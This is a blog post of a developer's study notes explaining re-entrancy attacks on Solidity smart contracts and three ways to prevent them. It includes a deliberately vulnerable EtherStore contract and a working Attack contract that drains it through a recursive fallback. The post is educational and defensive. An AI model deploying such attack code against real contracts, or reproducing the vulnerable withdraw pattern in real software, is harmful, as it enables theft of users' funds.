paint-brush
What Is a Re-Entrancy Attack in Smart Contracts, and How to Avoid It? 🛡️🔒by@codingjourneyfromunemployment

What Is a Re-Entrancy Attack in Smart Contracts, and How to Avoid It? 🛡️🔒

by codingJourneyFromUnemploymentNovember 29th, 2023
Read on Terminal Reader
Read this story w/o Javascript
tldt arrow

Too Long; Didn't Read

A Re-Entrancy vulnerability is one of the common security risks in smart contract development. It requires careful contract design and appropriate security measures to prevent. In this article, I will demonstrate an example of a Re- entrancy attack and three different methods to prevent it. The article is just my own notes on smart contract security.
featured image - What Is a Re-Entrancy Attack in Smart Contracts, and How to Avoid It? 🛡️🔒
codingJourneyFromUnemployment HackerNoon profile picture

Risk Warning: This article is just my own notes from learning about smart contract security! The purpose of my recording is just to serve as my personal cheat sheet.


Please do not attempt to use the content herein to attack smart contracts deployed by others, as your actions are not related to me, and you will bear all legal responsibilities arising from them.


If you do not agree with this statement, please exit immediately. Continuing to read is deemed as an acknowledgment of this statement.🚨🚨


A Re-Entrancy vulnerability is one of the most common security risks in smart contract development and requires careful contract design and appropriate security measures to prevent. In this article, I will demonstrate an example of a Re-Entrancy vulnerability and three different methods to prevent Re-Entrancy attacks.

First, Let's Describe the Process of a Re-Entrancy Attack

Alice deployed a simple contract. The main function of this contract is for users to deposit ether and later withdraw their own ether. The code is as follows:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Alice and Bob each deposited 1 Ether and 2 Ether, respectively, so the contract now holds 3 Ether.


Then Eve deployed an Attack contract and will use it to launch a Re-Entrancy attack on the EtherStore contract. The code is as follows:

contract Attack {
    EtherStore public etherStore;
    uint256 constant public AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    fallback() external payable {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

When Eve deployed the Attack contract, she passed in the address of Alice's deployed EtherStore contract in the constructor. The statement EtherStore(_etherStoreAddress) in the constructor forcibly converts this address into an EtherStore contract type and assigns it to the etherStore variable.


This essentially creates an instance of the EtherStore-type contract and points to Alice's deployed EtherStore contract.


Then Eve calls the Attack.attack function and transfers 1 Ether. The statement etherStore.deposit{value: AMOUNT}(); will deposit 1 Ether into the EtherStore contract.


At this point, the mapping(address => uint) public balances; inside the EtherStore contract updates the balance corresponding to the Attack contract's address to 1 Ether.


Immediately following this, the etherStore.withdraw(); statement in the attack function attempts to call the EtherStore contract's withdraw function and retrieve 1 ether. This call was successfully completed.


When the 1 ether sent from the EtherStore contract arrives at the Attack contract, since the Attack contract does not have a receive function, it will fall into the fallback function.


The logic of the fallback function is to check if the EtherStore contract still has more than 1 ether. If so, it will again call the EtherStore contract's withdrawal function to continue withdrawing funds.


This process will loop until the EtherStore contract's ether is exhausted. At this time, there are 4 ethers in the Attack contract. Besides the 1 ether Eve deposited herself, she also stole 3 ethers from Alice and Bob.

How to Prevent Such Re-Entrancy Attacks

This attack exploits the lag in modifying the depositor's balance in the EtherStore.withdraw() function and the characteristic of smart contracts automatically falling into the receive or fallback function after receiving ether.


The essence is still a flaw in the logic of the EtherStore contract itself.


Therefore, we can prevent such attacks in the following three ways:


  1. Modify the logic of the withdraw function in the EtherStore contract, for example, by modifying the depositor's balance before the withdrawal action occurs.


    This way, even if the withdrawal fails and the entire transaction reverts, the depositor's balance can be restored to its previous value. For example:

    function withdraw() public {
            uint bal = balances[msg.sender];
            require(bal > 0);
    				balances[msg.sender] = 0;
    
            (bool sent, ) = msg.sender.call{value: bal}("");
            require(sent, "Failed to send Ether");
        }
    


  1. Write a simple modifier yourself to lock the state during the function's execution, thereby avoiding recursive calls between contracts. For example:
contract EtherStore {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

In this example, the variable locked is modified to true before executing the withdraw() function. When the Attack contract recursively calls the EtherStore contract, the transaction will fail due to the presence of the require (!locked, "No re-entrancy"); check.


  1. Use OpenZeppelin's ReentrancyGuard. This library provides a modifier called nonReentrant, which prevents a function from being called again during its execution. We need to inherit "ReentrancyGuard" in the contract, and mark the functions you want to protect with the nonReentrant modifier, such as the withdraw function here.


That's the discussion about Re-Entrancy vulnerabilities and related security strategies. Since you've made it this far, please give me a like! 👍😊